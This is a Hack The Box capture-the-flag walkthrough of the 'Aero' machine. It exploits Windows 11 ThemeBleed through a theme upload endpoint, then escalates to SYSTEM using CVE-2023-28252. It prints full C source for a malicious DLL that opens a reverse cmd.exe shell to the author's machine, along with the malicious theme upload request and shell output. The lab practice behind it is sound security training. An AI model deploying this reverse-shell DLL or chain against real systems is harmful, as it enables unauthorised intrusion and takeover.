Aero

Aero, a Hack The Box Medium machine. Commencing with an extensive Nmap scan, the discovery of a Microsoft IIS web server offered an opportunity for further investigation. An upload endpoint for Windows theme files was identified, leading to the exploitation of a known vulnerability — Windows 11 ThemeBleed. Crafting and deploying a malicious DLL enabled the establishment of a reverse shell, leading to initial access as the ‘sam.emerson’ user. Further exploration unveiled a critical CVE (CVE-2023–28252) in a document within the ‘anderson’ user’s Documents folder. Leveraging a modified PoC from a GitHub repository, the code was compiled and uploaded to the machine, culminating in the successful acquisition of a reverse shell and the ultimate elevation of privileges to ‘nt authority\system.’ This comprehensive exploration highlights the significance of regular software updates and the need for robust source code analysis to mitigate potential security risks.

ENUMERATION

Lets begin as always with an Nmap Scan:

target=127.0.0.1; nmap -T4 -p$(nmap -Pn -T4 $target | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -Pn -sVC $target

PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Aero Theme Hub
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

The site redirects to a domain:

echo '10.10.11.237 aerohub.htb' >> /etc/hosts

The page have an /upload endpoint that allows to upload .theme files for Windows.

Looking into it we can find this article:

https://www.bleepingcomputer.com/news/security/windows-11-themebleed-rce-bug-gets-proof-of-concept-exploit/

In the article there is a reference to this exploit:

https://github.com/gabe-k/themebleed

I have created a reverse shell code pointing to my Kali and use this command to get the DLL file:

x86_64-w64-mingw32-gcc maliciousdll.c - shared -o think.dll -lws2_32

This is my maliciousdll.c content:

#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")

//  COMPILE
//  x86_64-w64-mingw32-gcc adduser.cpp --shared -o adduser.dll


char ip_addr[16] = "10.10.14.201";
char port[6] = "6666";
WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in hax;
STARTUPINFOA ini_processo;
PROCESS_INFORMATION processo_info;

void VerifyThemeVersion()
{
        WSAStartup(MAKEWORD(2, 2), &wsaData);
    Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    struct hostent* host;
    host = gethostbyname(ip_addr);
    strcpy_s(ip_addr, sizeof(ip_addr), inet_ntoa(*((struct in_addr*)host->h_addr)));

    hax.sin_family = AF_INET;
    hax.sin_port = htons(atoi(port));
    hax.sin_addr.s_addr = inet_addr(ip_addr);

    WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

    memset(&ini_processo, 0, sizeof(ini_processo));
    ini_processo.cb = sizeof(ini_processo);
    ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

    TCHAR cmd[255] = TEXT("cmd.exe");

    CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
}

As indicated in the exploit, i have replaced the stage_3 file in the data folder with my malicious dll file.

Get joseml’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Using this command in my Windows VM i have created the malicious theme:

ThemeBleed.exe make_theme 10.10.14.106 ./think_theme.theme

To enable the server for the exploit i had to free the port 445 on my Windows vm. This page gives you the right way for Windows 11:

https://superuser.com/questions/629648/how-to-disable-feature-that-opened-port-445-on-windows-server

I have routed the port 445 of my Kali to my Windows using socat:

socat TCP-LISTEN:445,fork TCP:192.168.1.130:445

EXPLOITATION

I have started the server on my Windows Vm like:

.\ThemeBleed.exe server

Then i have started my nc on my Kali machine and sent the theme to the site with this curl:

curl -i -s -k -X $'POST' \
-H $'Host: aerohub.htb' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0' -H $'Accept: */*' -H $'Accept-Language: en,en-US;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://aerohub.htb/home' -H $'Content-Type: multipart/form-data; boundary= - - - - - - - - - - - - - -17014120931355603513681426279' -H $'Content-Length: 631' -H $'Origin: http://aerohub.htb' -H $'DNT: 1' -H $'Connection: close' -H $'Sec-GPC: 1' \
-b $'.AspNetCore.Antiforgery.SV5HtsIgkxc=CfDJ8KhwwGdRThZIsdKv2UEKBTQvCHqhYQEx7pQmyWCMsKu9Y_EXcvoWBqf1RXr3d6WC9b9etvc0XKPCweYfOSlG9uYqriJMhiKwQy30fpXQNftkQXa7G18M8MHuoz_Dqg5B_sAeIpudy5-INef4wz19jDc' \
 - data-binary $' - - - - - - - - - - - - - - -17014120931355603513681426279\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"think_theme.theme\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a; windows 11 theme exploit\x0d\x0a; copyright 2023 fukin software foundation\x0d\x0a\x0d\x0a[Theme]\x0d\x0aDisplayName=@%SystemRoot%\\System32\\themeui.dll,-2060\x0d\x0a\x0d\x0a[Control Panel\\Desktop]\x0d\x0aWallpaper=%SystemRoot%\\web\\wallpaper\\Windows\\img0.jpg\x0d\x0aTileWallpaper=0\x0d\x0aWallpaperStyle=10\x0d\x0a\x0d\x0a[VisualStyles]\x0d\x0aPath=\\\\10.10.14.106\\test\\Aero.msstyles\x0d\x0aColorStyle=NormalColor\x0d\x0aSize=NormalSize\x0d\x0a\x0d\x0a[MasterThemeSelector]\x0d\x0aMTSM=RJSPBS\x0d\x0a - - - - - - - - - - - - - - -17014120931355603513681426279 - \x0d\x0a' \
$'http://aerohub.htb/upload'

I got the answer from the machine:

Connection received on 10.10.11.237 60288
Microsoft Windows [Version 10.0.22000.1761]
© Microsoft Corporation. All rights reserved.
C:\Windows\system32>hostname
hostname
aero
C:\Windows\system32>whoami
whoami
aero\sam.emerson
C:\Windows\system32>

ROOT

There is a document in the Documents folder of anderson that talks about this:

CVE-2023–28252

Looking into it, i have found this repo:

https://github.com/fortra/CVE-2023-28252/tree/master

I have cloned the repo and opened it in Visual Studio to compile it.

On the line 1493 of the file: clfs_eop.cpp i have modified the PoC that executes commands on the system, then i have changed the solution to Release Mode like: right clicking on it and going to properties, then change from debug to release. Otherwise it will not work on the machine. Then i have builded the program and uploaded it to the machine.

Running it gave me the reverse shell:

ncx 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.237 50580
PS C:\Users\Public> whoami
nt authority\system
PS C:\Users\Public> hostname
aero
PS C:\Users\Public>

Owned Aero from Hack The Box!

Congratulations! We have successfully completed this machine. Thank you for reading!